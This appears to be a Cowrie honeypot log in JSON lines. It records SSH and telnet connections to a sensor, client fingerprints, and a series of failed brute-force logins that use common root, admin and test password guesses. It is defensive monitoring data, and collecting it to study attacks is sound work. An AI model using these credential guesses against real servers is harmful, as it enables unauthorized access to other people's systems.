{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":42590,"dst_ip":"10.17.0.5","dst_port":22,"session":"4abb2a25494c","protocol":"ssh","message":"New connection: 165.154.205.128:42590 (10.17.0.5:22) [session: 4abb2a25494c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:45.281674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:45.286664Z","src_ip":"165.154.205.128","session":"4abb2a25494c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:45.513358Z","src_ip":"165.154.205.128","session":"4abb2a25494c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nj123456","message":"login attempt [root/Nj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:46.453200Z","src_ip":"165.154.205.128","session":"4abb2a25494c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:47.682405Z","src_ip":"165.154.205.128","session":"4abb2a25494c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.445654392242432,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:54.424781Z","src_ip":"105.168.201.88","session":"4282563f9993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34841990470886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:08:54.575334Z","src_ip":"199.103.57.63","session":"04e00c0d22b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"00cd8ed7d858","protocol":"ssh","message":"New connection: 165.154.205.128:35626 (10.17.0.5:22) [session: 00cd8ed7d858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:09:43.499980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:09:43.504106Z","src_ip":"165.154.205.128","session":"00cd8ed7d858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:09:43.729673Z","src_ip":"165.154.205.128","session":"00cd8ed7d858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcdef123456","message":"login attempt [root/Abcdef123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:09:44.667416Z","src_ip":"165.154.205.128","session":"00cd8ed7d858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:09:45.897020Z","src_ip":"165.154.205.128","session":"00cd8ed7d858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":19837,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f19016a87b","protocol":"ssh","message":"New connection: 2.57.121.112:19837 (10.17.0.5:22) [session: 81f19016a87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:40.306864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:40.311361Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:40.417300Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":59944,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4cd345297df","protocol":"ssh","message":"New connection: 165.154.205.128:59944 (10.17.0.5:22) [session: e4cd345297df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:40.690536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:40.695537Z","src_ip":"165.154.205.128","session":"e4cd345297df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scipio","message":"login attempt [admin/scipio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:40.915440Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:40.934820Z","src_ip":"165.154.205.128","session":"e4cd345297df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!xsw2CDE#","message":"login attempt [root/ZAQ!xsw2CDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:41.910168Z","src_ip":"165.154.205.128","session":"e4cd345297df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scarface1","message":"login attempt [admin/scarface1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:42.025344Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scar","message":"login attempt [admin/scar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:43.133528Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:43.149350Z","src_ip":"165.154.205.128","session":"e4cd345297df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"satoshi","message":"login attempt [admin/satoshi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:44.242816Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sass","message":"login attempt [admin/sass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:45.353397Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.245.70.228","src_port":16107,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d61688f7d4","protocol":"telnet","message":"New connection: 177.245.70.228:16107 (10.17.0.5:23) [session: 77d61688f7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:46.107675Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:46.461643Z","src_ip":"2.57.121.112","session":"81f19016a87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.277676105499268,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:10:58.385254Z","src_ip":"177.245.70.228","session":"77d61688f7d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":40634,"dst_ip":"10.17.0.5","dst_port":22,"session":"556f4dfcd1ff","protocol":"ssh","message":"New connection: 165.154.205.128:40634 (10.17.0.5:22) [session: 556f4dfcd1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:11:38.429452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:11:38.433654Z","src_ip":"165.154.205.128","session":"556f4dfcd1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:11:38.663422Z","src_ip":"165.154.205.128","session":"556f4dfcd1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:11:39.611392Z","src_ip":"165.154.205.128","session":"556f4dfcd1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:11:40.843771Z","src_ip":"165.154.205.128","session":"556f4dfcd1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":39562,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b9d7a6e574","protocol":"telnet","message":"New connection: 199.103.57.63:39562 (159.203.135.109:23) [session: 47b9d7a6e574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:12:17.809493Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":39706,"dst_ip":"10.17.0.5","dst_port":22,"session":"1671cbce65c1","protocol":"ssh","message":"New connection: 165.154.205.128:39706 (10.17.0.5:22) [session: 1671cbce65c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:12:37.893665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:12:37.897750Z","src_ip":"165.154.205.128","session":"1671cbce65c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:12:38.129654Z","src_ip":"165.154.205.128","session":"1671cbce65c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:12:39.090843Z","src_ip":"165.154.205.128","session":"1671cbce65c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:12:40.325670Z","src_ip":"165.154.205.128","session":"1671cbce65c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.347604751586914,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:12:54.156984Z","src_ip":"199.103.57.63","session":"47b9d7a6e574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":18416,"dst_ip":"10.17.0.5","dst_port":22,"session":"61cfef14bfe5","protocol":"ssh","message":"New connection: 130.12.181.85:18416 (10.17.0.5:22) [session: 61cfef14bfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:21.103787Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:21.108471Z","src_ip":"130.12.181.85","session":"61cfef14bfe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":18420,"dst_ip":"10.17.0.5","dst_port":22,"session":"1346b34aaa42","protocol":"ssh","message":"New connection: 130.12.181.85:18420 (10.17.0.5:22) [session: 1346b34aaa42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:21.265041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:21.269320Z","src_ip":"130.12.181.85","session":"1346b34aaa42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:21.371615Z","src_ip":"130.12.181.85","session":"1346b34aaa42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:21.723285Z","src_ip":"130.12.181.85","session":"1346b34aaa42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33110,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e2be5b60dd","protocol":"ssh","message":"New connection: 194.59.206.2:33110 (10.17.0.5:22) [session: 34e2be5b60dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:22.148287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:22.155690Z","src_ip":"194.59.206.2","session":"34e2be5b60dd","protocol":"ssh"}
